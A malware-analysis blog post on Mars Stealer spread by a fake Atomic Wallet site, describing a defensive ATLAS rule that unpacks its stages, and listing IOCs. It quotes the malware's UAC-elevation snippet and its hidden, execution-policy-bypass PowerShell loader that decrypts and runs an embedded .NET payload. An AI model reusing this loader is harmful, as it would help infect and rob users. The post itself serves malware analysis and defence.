Introduction
When I saw the attack vector for the first time, I realized that it is an excellent case to demonstrate the potential of the ATLAS. So, after finishing the analysis and the ATLAS rule, I've decided to write a blog post with a detailed explanation of creating the ATLAS rule.
The Attack Vector
It starts with a fake Atomic Wallet site that distributes malware via a download link for the Windows operating system.
The download link is bit.ly, which redirects to the cdn.discordapp.com domain. Downloaded content is a zip file. Inside it, there is a batch file. The first thing it does is escalate privilege if it doesn't have administrator rights.
if not "%1"=="am_admin" (
powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
exit /b
)
The last line of the batch is massive data that is base64 encoded. Next, the batch file does aes decryption and gzip uncompression via Powershell.
%~n0.bat.exe -noprofile -windowstyle hidden -executionpolicy bypass -command $OnVrQh = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);$aWPbUn = $OnVrQh[$OnVrQh.Length - 1];$miePxL = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('dXNpbmcgU3lzdGVtLlRleHQ7dXNpbmcgU3lzdGVtLklPO3VzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjt1c2luZyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5OyBwdWJsaWMgY2xhc3MgSU9YVHZZIHsgcHVibGljIHN0YXRpYyBieXRlW10gWVpueldIKGJ5dGVbXSBpbnB1dCwgYnl0ZVtdIGtleSwgYnl0ZVtdIGl2KSB7IEFlc01hbmFnZWQgYWVzID0gbmV3IEFlc01hbmFnZWQoKTsgYWVzLk1vZGUgPSBDaXBoZXJNb2RlLkNCQzsgYWVzLlBhZGRpbmcgPSBQYWRkaW5nTW9kZS5QS0NTNzsgSUNyeXB0b1RyYW5zZm9ybSBkZWNyeXB0b3IgPSBhZXMuQ3JlYXRlRGVjcnlwdG9yKGtleSwgaXYpOyBieXRlW10gZGVjcnlwdGVkID0gZGVjcnlwdG9yLlRyYW5zZm9ybUZpbmFsQmxvY2soaW5wdXQsIDAsIGlucHV0Lkxlbmd0aCk7IGRlY3J5cHRvci5EaXNwb3NlKCk7IGFlcy5EaXNwb3NlKCk7IHJldHVybiBkZWNyeXB0ZWQ7IH0gcHVibGljIHN0YXRpYyBieXRlW10gTVJtbUdtKGJ5dGVbXSBieXRlcykgeyBNZW1vcnlTdHJlYW0gbXNpID0gbmV3IE1lbW9yeVN0cmVhbShieXRlcyk7IE1lbW9yeVN0cmVhbSBtc28gPSBuZXcgTWVtb3J5U3RyZWFtKCk7IHZhciBncyA9IG5ldyBHWmlwU3RyZWFtKG1zaSwgQ29tcHJlc3Npb25Nb2RlLkRlY29tcHJlc3MpOyBncy5Db3B5VG8obXNvKTsgZ3MuRGlzcG9zZSgpOyBtc2kuRGlzcG9zZSgpOyBtc28uRGlzcG9zZSgpOyByZXR1cm4gbXNvLlRvQXJyYXkoKTsgfSB9'));Add-Type -TypeDefinition $miePxL;[System.Reflection.Assembly]::Load([IOXTvY]::MRmmGm([IOXTvY]::YZnzWH([System.Convert]::FromBase64String($aWPbUn), [System.Convert]::FromBase64String('E4IVXfYvoAH9YDlDQGzejd4/Zom8IPGT2Myddj/Bu10='), [System.Convert]::FromBase64String('4HVdg8diwSyYUE5hdNkHOA==')))).EntryPoint.Invoke($null, (, [string[]] ('%*')))
The output is .Net peexe. The executable has a resource that is also base64 encoded.
Execution at this step follows the same algorithm: aes decryption and then gzip uncompression. The result is another .Net peexe. The latest file tries to download a file through cdn.discordapp.com again. It also assures persistency by Run Keys.
Creating the ATLAS Rule
The execution of the malware straight forward, but it needs a couple of steps to get the actual payload. The above description is enough for one to get the main idea. But it is not actionable. So the same analysis must be done again and again by researchers and blue team engineers. With ATLAS, we can describe the attack vector in an actionable way.
The starting point for the rule is the zip file. To continue through the attack vector, we should unarchive it. So we start with zip_file_read and then continue with unzip sub-chain.
zip_file_read:
input: $param.file
func: file_read_bin
unzip:
input:
- $scripts.unzip_bitly
- $zip_file_read
func: python_executor
The script that unzip sub-chain uses extracts the zip file's content to the current directory and returns the content list. It uses Python's zipfile module to achieve that:
import io
import zipfile
def unzip_bitly(data: bytes) -> str:
bat_file = ""
name_list = []
file_like_object = io.BytesIO(data)
with zipfile.ZipFile(file_like_object) as zip_file:
name_list = zip_file.namelist()
zip_file.extractall(".")
for i in name_list:
if '.bat' in i:
bat_file = i
break
return bat_file
As stated above, the unzip sub-chain returns the content list, in this case, a single batch file. So we can read the extracted file through unzip's output as $unzip
bat_file_read:
input: $unzip
func: file_read_utf8
An important aspect of the batch file for the execution is that it contains data, key, and iv values for the aes decryption. Thus our target for this sub-chain is acquiring them. As always, RegEx is our closest friend. The data resides at the last line. We can take advantage of the [System.Convert]::FromBase64String('.+?') pattern for key and iv.
import re
import base64
def arg_parser(data: str) -> dict:
result = {}
pattr_encoded = "KD88PVxbU3lzdGVtXC5Db252ZXJ0XF06OkZyb21CYXNlNjRTdHJpbmdcKCkuKz8oPz1cKSk="
dollar_encoded = "Xlwk"
newline_encoded = "Cg=="
arr = data.split(base64.b64decode(newline_encoded).decode())
result['arg_data'] = arr[len(arr) - 1]
pattr = re.compile(base64.b64decode(pattr_encoded).decode())
matched = re.findall(pattr, data)
for i in range(len(matched)):
if re.search(base64.b64decode(dollar_encoded).decode(), matched[i]):
result['key'] = matched[i + 1].replace("\'", "")
result['iv'] = matched[i + 2].replace("\'", "")
break
return result
The sub-chain for the script above:
arg_parser:
input:
- $scripts.arg_parser
- $bat_file_read
func: python_executor
And we've come to the aes decryption and gzip uncompression part. In the past, I've struggled to re-implement .Net-based algorithms in Python because of compatibility issues. And also, that means we should reverse engineer the algorithm in depth, then re-write it in other languages. Even though it is fun, it requires time, and that is what we lack as defenders. Of course, we can create the whole processor in Powershell or C#, but generally, Python is our first choice.
By taking advantage of the ATLAS, we can copy and paste malware's decryption routine and weaponize it against itself. I've just coded encapsulation for the C# code in Powershell. That's it.
$type_definition = @"
using System.Text;
using System.IO;
using System.IO.Compression;
using System.Security.Cryptography;
public class IOXTvY {
public static byte[] YZnzWH(byte[] input, byte[] key, byte[] iv) {
AesManaged aes = new AesManaged();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length);
decryptor.Dispose(); aes.Dispose(); return decrypted;
}
public static byte[] MRmmGm(byte[] bytes) {
MemoryStream msi = new MemoryStream(bytes);
MemoryStream mso = new MemoryStream();
var gs = new GZipStream(msi, CompressionMode.Decompress);
gs.CopyTo(mso);
gs.Dispose();
msi.Dispose();
mso.Dispose();
return mso.ToArray();
}
}
"@
Add-Type -TypeDefinition $type_definition -Language CSharp
function aes_gzip($data, $key, $iv) {
$result = [IOXTvY]::MRmmGm([IOXTvY]::YZnzWH([System.Convert]::FromBase64String($data), [System.Convert]::FromBase64String($key), [System.Convert]::FromBase64String($iv)))
return [System.Convert]::ToBase64String($result)
}
process_the_bat is the sub-chain for the script above. Mind that aes_gzip function takes data, key, and iv parameters, and we pass them in the sub-chain by $arg_parser's output. Because arg_parser sub-chain outputs Python Dict object, we can refer to its keys directly like: $arg_parser.iv. Finally, the last sub-chain does base64 decoding.
process_the_bat:
input:
- $scripts.aes_gzip
- $arg_parser.arg_data
- $arg_parser.key
- $arg_parser.iv
func: powershell_executor
base64_decode:
input:
- $scripts.base64_decode
- $process_the_bat
func: python_executor
save_the_output:
input: $base64_decode
func: save_file_bytes
At this point, we should get the first .Net file. It does the same decryption routine with the batch file for the data in the resources section. So if we can get the data, key, and iv values, we can take advantage of the aes_gzip script again. The data is very long and base64 encoded. So we can spot it in the binary easily.
We spot the corresponding intermediate language byte sequence for the key and iv values, get the arguments bytes, and parse the .Net string table to retrieve the original values.
import re
import base64
def arg_parser_dotnet(data: str) -> dict:
result = {}
pattr_encoded = "W2EtekEtWjAtOVwrLz1dezEwMCx9"
result['arg_data'] = re.search(base64.b64decode(pattr_encoded), data).group().decode()
result['arg_data'] = result['arg_data'][:len(result["arg_data"]) - 4]
keyIL_encoded = b'KD88PVx4MjgIAAAKcikoWwAtXHhmZl17NH0p'
su_encoded = b'WwAt/117NH0oPz0oWwAt/117NH0oI1VTACkpKQ=='
base_encoded = b'QlNKQg=='
keyIL = re.findall(base64.b64decode(keyIL_encoded), data)
su = re.search(base64.b64decode(su_encoded), data).group()
base = re.search(base64.b64decode(base_encoded), data).span()[0]
addr_key = int.from_bytes(su, 'little') + base + (int.from_bytes(keyIL[0], 'little') & 0x00ffffff)
addr_iv = int.from_bytes(su, 'little') + base + (int.from_bytes(keyIL[1], 'little') & 0x00ffffff)
length_key = data[addr_key]
length_iv = data[addr_iv]
result['key'] = data[addr_key + 1:addr_key + 1 + length_key].decode('utf-16', errors='ignore')
result['iv'] = data[addr_iv + 1:addr_iv + 1 + length_iv].decode('utf-16', errors='ignore')
return result
The sub-chains follow the same pattern as batch file and at the end, it stores the output on the disk:
arg_parser_dotnet:
input:
- $scripts.arg_parser_dotnet
- $base64_decode
func: python_executor
process_the_dotnet:
input:
- $scripts.aes_gzip
- $arg_parser_dotnet.arg_data
- $arg_parser_dotnet.key
- $arg_parser_dotnet.iv
func: powershell_executor
base64_decode2:
input:
- $scripts.base64_decode
- $process_the_dotnet
func: python_executor
save_the_output2:
input: $base64_decode2
func: save_file_bytes
ATLAS
meta:
name: "atomic_wallet_mars_stealer"
description: "A rule to process mars stealer that is distributed by fake atomic wallet website."
reference1: "https://www.bleepingcomputer.com/news/security/cloned-atomic-wallet-website-is-pushing-mars-stealer-malware/"
reference2: "https://twitter.com/ViriBack/status/1554137490872799233"
author: "r00tten"
version: "1.0"
scripts:
unzip_bitly: "aW1wb3J0IGlvCmltcG9ydCB6aXBmaWxlCgpkZWYgdW56aXBfYml0bHkoZGF0YTogYnl0ZXMpIC0+IHN0cjoKICAgIGJhdF9maWxlID0gIiIKCiAgICBuYW1lX2xpc3QgPSBbXQoKICAgIGZpbGVfbGlrZV9vYmplY3QgPSBpby5CeXRlc0lPKGRhdGEpCiAgICB3aXRoIHppcGZpbGUuWmlwRmlsZShmaWxlX2xpa2Vfb2JqZWN0KSBhcyB6aXBfZmlsZToKICAgICAgICBuYW1lX2xpc3QgPSB6aXBfZmlsZS5uYW1lbGlzdCgpCgogICAgICAgIHppcF9maWxlLmV4dHJhY3RhbGwoIi4iKQoKICAgIGZvciBpIGluIG5hbWVfbGlzdDoKICAgICAgICBpZiAnLmJhdCcgaW4gaToKICAgICAgICAgICAgYmF0X2ZpbGUgPSBpCiAgICAgICAgICAgIGJyZWFrCiAgICAKICAgIHJldHVybiBiYXRfZmlsZQ=="
arg_parser: "aW1wb3J0IHJlCmltcG9ydCBiYXNlNjQKCmRlZiBhcmdfcGFyc2VyKGRhdGE6IHN0cikgLT4gZGljdDoKICAgIHJlc3VsdCA9IHt9CgogICAgcGF0dHJfZW5jb2RlZCA9ICJLRDg4UFZ4YlUzbHpkR1Z0WEM1RGIyNTJaWEowWEYwNk9rWnliMjFDWVhObE5qUlRkSEpwYm1kY0tDa3VLejhvUHoxY0tTaz0iCiAgICBkb2xsYXJfZW5jb2RlZCA9ICJYbHdrIgogICAgbmV3bGluZV9lbmNvZGVkID0gIkNnPT0iCgogICAgYXJyID0gZGF0YS5zcGxpdChiYXNlNjQuYjY0ZGVjb2RlKG5ld2xpbmVfZW5jb2RlZCkuZGVjb2RlKCkpCiAgICByZXN1bHRbJ2FyZ19kYXRhJ10gPSBhcnJbbGVuKGFycikgLSAxXQoKICAgIHBhdHRyID0gcmUuY29tcGlsZShiYXNlNjQuYjY0ZGVjb2RlKHBhdHRyX2VuY29kZWQpLmRlY29kZSgpKQoKICAgIG1hdGNoZWQgPSByZS5maW5kYWxsKHBhdHRyLCBkYXRhKQogICAgZm9yIGkgaW4gcmFuZ2UobGVuKG1hdGNoZWQpKToKICAgICAgICBpZiByZS5zZWFyY2goYmFzZTY0LmI2NGRlY29kZShkb2xsYXJfZW5jb2RlZCkuZGVjb2RlKCksIG1hdGNoZWRbaV0pOgogICAgICAgICAgICByZXN1bHRbJ2tleSddID0gbWF0Y2hlZFtpICsgMV0ucmVwbGFjZSgiJyIsICIiKQogICAgICAgICAgICByZXN1bHRbJ2l2J10gPSBtYXRjaGVkW2kgKyAyXS5yZXBsYWNlKCInIiwgIiIpCiAgICAgICAgICAgIGJyZWFrCiAgICAKICAgIHJldHVybiByZXN1bHQ="
aes_gzip: "JHR5cGVfZGVmaW5pdGlvbiA9IEAiDQp1c2luZyBTeXN0ZW0uVGV4dDsNCnVzaW5nIFN5c3RlbS5JTzsNCnVzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsNCnVzaW5nIFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHk7DQoNCnB1YmxpYyBjbGFzcyBJT1hUdlkgeyANCiAgICBwdWJsaWMgc3RhdGljIGJ5dGVbXSBZWm56V0goYnl0ZVtdIGlucHV0LCBieXRlW10ga2V5LCBieXRlW10gaXYpIHsgDQogICAgICAgIEFlc01hbmFnZWQgYWVzID0gbmV3IEFlc01hbmFnZWQoKTsgDQogICAgICAgIGFlcy5Nb2RlID0gQ2lwaGVyTW9kZS5DQkM7IA0KICAgICAgICBhZXMuUGFkZGluZyA9IFBhZGRpbmdNb2RlLlBLQ1M3OyANCiAgICAgICAgSUNyeXB0b1RyYW5zZm9ybSBkZWNyeXB0b3IgPSBhZXMuQ3JlYXRlRGVjcnlwdG9yKGtleSwgaXYpOyANCiAgICAgICAgYnl0ZVtdIGRlY3J5cHRlZCA9IGRlY3J5cHRvci5UcmFuc2Zvcm1GaW5hbEJsb2NrKGlucHV0LCAwLCBpbnB1dC5MZW5ndGgpOyANCiAgICAgICAgZGVjcnlwdG9yLkRpc3Bvc2UoKTsgYWVzLkRpc3Bvc2UoKTsgcmV0dXJuIGRlY3J5cHRlZDsgDQogICAgfSANCiAgICANCiAgICBwdWJsaWMgc3RhdGljIGJ5dGVbXSBNUm1tR20oYnl0ZVtdIGJ5dGVzKSB7IA0KICAgICAgICBNZW1vcnlTdHJlYW0gbXNpID0gbmV3IE1lbW9yeVN0cmVhbShieXRlcyk7IA0KICAgICAgICBNZW1vcnlTdHJlYW0gbXNvID0gbmV3IE1lbW9yeVN0cmVhbSgpOyANCiAgICAgICAgdmFyIGdzID0gbmV3IEdaaXBTdHJlYW0obXNpLCBDb21wcmVzc2lvbk1vZGUuRGVjb21wcmVzcyk7IA0KICAgICAgICBncy5Db3B5VG8obXNvKTsgDQogICAgICAgIGdzLkRpc3Bvc2UoKTsgDQogICAgICAgIG1zaS5EaXNwb3NlKCk7IA0KICAgICAgICBtc28uRGlzcG9zZSgpOyANCg0KICAgICAgICByZXR1cm4gbXNvLlRvQXJyYXkoKTsgDQogICAgfSANCn0NCiJADQoNCkFkZC1UeXBlIC1UeXBlRGVmaW5pdGlvbiAkdHlwZV9kZWZpbml0aW9uIC1MYW5ndWFnZSBDU2hhcnANCmZ1bmN0aW9uIGFlc19nemlwKCRkYXRhLCAka2V5LCAkaXYpIHsNCiAgICAkcmVzdWx0ID0gW0lPWFR2WV06Ok1SbW1HbShbSU9YVHZZXTo6WVpueldIKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGRhdGEpLCBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRrZXkpLCBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRpdikpKQ0KICAgIHJldHVybiBbU3lzdGVtLkNvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZygkcmVzdWx0KQ0KfQ0K"
base64_decode: "aW1wb3J0IGJhc2U2NAoKZGVmIGJhc2U2NF9kZWNvZGUoZGF0YTogYnl0ZXMpIC0+IGJ5dGVzOgogICAgCiAgICByZXR1cm4gYmFzZTY0LmI2NGRlY29kZShkYXRhKQ=="
arg_parser_dotnet: "aW1wb3J0IHJlCmltcG9ydCBiYXNlNjQKCmRlZiBhcmdfcGFyc2VyX2RvdG5ldChkYXRhOiBzdHIpIC0+IGRpY3Q6CiAgICByZXN1bHQgPSB7fQoKICAgIHBhdHRyX2VuY29kZWQgPSAiVzJFdGVrRXRXakF0T1Z3ckx6MWRlekV3TUN4OSIKCiAgICByZXN1bHRbJ2FyZ19kYXRhJ10gPSByZS5zZWFyY2goYmFzZTY0LmI2NGRlY29kZShwYXR0cl9lbmNvZGVkKSwgZGF0YSkuZ3JvdXAoKS5kZWNvZGUoKQogICAgcmVzdWx0WydhcmdfZGF0YSddID0gcmVzdWx0WydhcmdfZGF0YSddWzpsZW4ocmVzdWx0WyJhcmdfZGF0YSJdKSAtIDRdCgoKICAgIGtleUlMX2VuY29kZWQgPSBiJ0tEODhQVng0TWpnSUFBQUtjaWtvV3dBdFhIaG1abDE3TkgwcCcKICAgIHN1X2VuY29kZWQgPSBiJ1d3QXQvMTE3Tkgwb1B6MG9Xd0F0LzExN05IMG9JMVZUQUNrcEtRPT0nCiAgICBiYXNlX2VuY29kZWQgPSBiJ1FsTktRZz09JwogICAga2V5SUwgPSByZS5maW5kYWxsKGJhc2U2NC5iNjRkZWNvZGUoa2V5SUxfZW5jb2RlZCksIGRhdGEpCiAgICBzdSA9IHJlLnNlYXJjaChiYXNlNjQuYjY0ZGVjb2RlKHN1X2VuY29kZWQpLCBkYXRhKS5ncm91cCgpCiAgICBiYXNlID0gcmUuc2VhcmNoKGJhc2U2NC5iNjRkZWNvZGUoYmFzZV9lbmNvZGVkKSwgZGF0YSkuc3BhbigpWzBdCgogICAgYWRkcl9rZXkgPSBpbnQuZnJvbV9ieXRlcyhzdSwgJ2xpdHRsZScpICsgYmFzZSArIChpbnQuZnJvbV9ieXRlcyhrZXlJTFswXSwgJ2xpdHRsZScpICYgMHgwMGZmZmZmZikKICAgIGFkZHJfaXYgPSBpbnQuZnJvbV9ieXRlcyhzdSwgJ2xpdHRsZScpICsgYmFzZSArIChpbnQuZnJvbV9ieXRlcyhrZXlJTFsxXSwgJ2xpdHRsZScpICYgMHgwMGZmZmZmZikKICAgIGxlbmd0aF9rZXkgPSBkYXRhW2FkZHJfa2V5XQogICAgbGVuZ3RoX2l2ID0gZGF0YVthZGRyX2l2XQogICAgCiAgICByZXN1bHRbJ2tleSddID0gZGF0YVthZGRyX2tleSArIDE6YWRkcl9rZXkgKyAxICsgbGVuZ3RoX2tleV0uZGVjb2RlKCd1dGYtMTYnLCBlcnJvcnM9J2lnbm9yZScpCiAgICByZXN1bHRbJ2l2J10gPSBkYXRhW2FkZHJfaXYgKyAxOmFkZHJfaXYgKyAxICsgbGVuZ3RoX2l2XS5kZWNvZGUoJ3V0Zi0xNicsIGVycm9ycz0naWdub3JlJykKCiAgICByZXR1cm4gcmVzdWx0"
chain:
zip_file_read:
input: $param.file
func: file_read_bin
unzip:
input:
- $scripts.unzip_bitly
- $zip_file_read
func: python_executor
bat_file_read:
input: $unzip
func: file_read_utf8
arg_parser:
input:
- $scripts.arg_parser
- $bat_file_read
func: python_executor
process_the_bat:
input:
- $scripts.aes_gzip
- $arg_parser.arg_data
- $arg_parser.key
- $arg_parser.iv
func: powershell_executor
base64_decode:
input:
- $scripts.base64_decode
- $process_the_bat
func: python_executor
save_the_output:
input: $base64_decode
func: save_file_bytes
arg_parser_dotnet:
input:
- $scripts.arg_parser_dotnet
- $base64_decode
func: python_executor
process_the_dotnet:
input:
- $scripts.aes_gzip
- $arg_parser_dotnet.arg_data
- $arg_parser_dotnet.key
- $arg_parser_dotnet.iv
func: powershell_executor
base64_decode2:
input:
- $scripts.base64_decode
- $process_the_dotnet
func: python_executor
save_the_output2:
input: $base64_decode2
func: save_file_bytes
So by this rule, we can get the .Net executable that downloads the next step from the internet. So we describe our analysis as an ATLAS rule.
The rule is just for explanatory, so it is not a dead end. For example, we can parse the remote server address the malware uses for downloading the next step and make the same request to get it. Or, after parsing the remote server's address, we can search it in the VirusTotal to get from there, not to touch attacker-controlled infrastructure. So with ATLAS, the sky is the limit.
To see the rule in action, here the corresponding tweet:
ATLAS is in the action. https://t.co/X874HU974X pic.twitter.com/kpHKH20P4J
— Mert Değirmenci (@r00tten) August 4, 2022
Or, much better, you can immediately get the ATLAS and fire it with the rule!
pip install malware-atlas
atlas -a atomic_wallet_mars_stealer.atl --param file=<zip_file_path>
IOCs
- atomic-wallet[.]net
- bit[.]ly/3aTntRU
- hxxps://cdn[.]discordapp[.]com/attachments/867102519430610964/999703636240236564/statistics[.]exe
- 3bbe11bae57df69edef79435cc082c224c9cb0aadb38a5bdfac90ac51a93d4e0
- 33d0d9fe89f0dba2b89347a0e2e6deb22542476d98676187f8c1eb529cb3997f
- 9b8c43a424bc0ac3e5c5636d852f22a7bb581a2891a1de008812d6b6ccfbc56b
- 8854da15d8c156e36fd8527783f2f1a05e7c8f73497aea46ed0daa8b9e7e9daf